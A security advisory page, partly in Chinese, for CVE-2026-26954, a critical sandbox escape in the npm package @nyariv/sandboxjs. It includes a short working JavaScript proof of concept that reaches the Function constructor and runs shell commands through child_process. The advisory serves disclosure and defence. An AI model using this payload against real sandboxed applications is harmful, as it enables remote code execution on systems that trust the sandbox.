CVE-2026-26954

CRITICAL10.0EPSS 0.10%

SandboxJS affected by a Sandbox Escape

發布日:2026/3/13修改日:2026/3/16

描述

### Summary It is possible to obtain arrays containing `Function`, which allows escaping the sandbox. ### Details There are various ways to get an array containing `Function`, e.g. ```js Object.entries(this).at(1) // [ 'Function', [Function: Function] ] Object.values(this).slice(1, 2) // [ [Function: Function] ] ``` Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox. ### PoC ```js const s = require('.').default; const sb = new s(); payload = ` const p = (async function () {})(); ({ "finally": p.finally, ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]), }).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')(); `; sb.compile(payload)().run(); ``` ### Impact Sandbox Escape -> RCE

受影響套件(1)

npm/@nyariv/sandboxjsfrom 0, < 0.8.34

CVSS 分數

來源	版本	嚴重程度	向量
osv	CVSS 3.1	CRITICAL10.0	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

描述

受影響套件(1)

CVSS 分數

參考連結(5)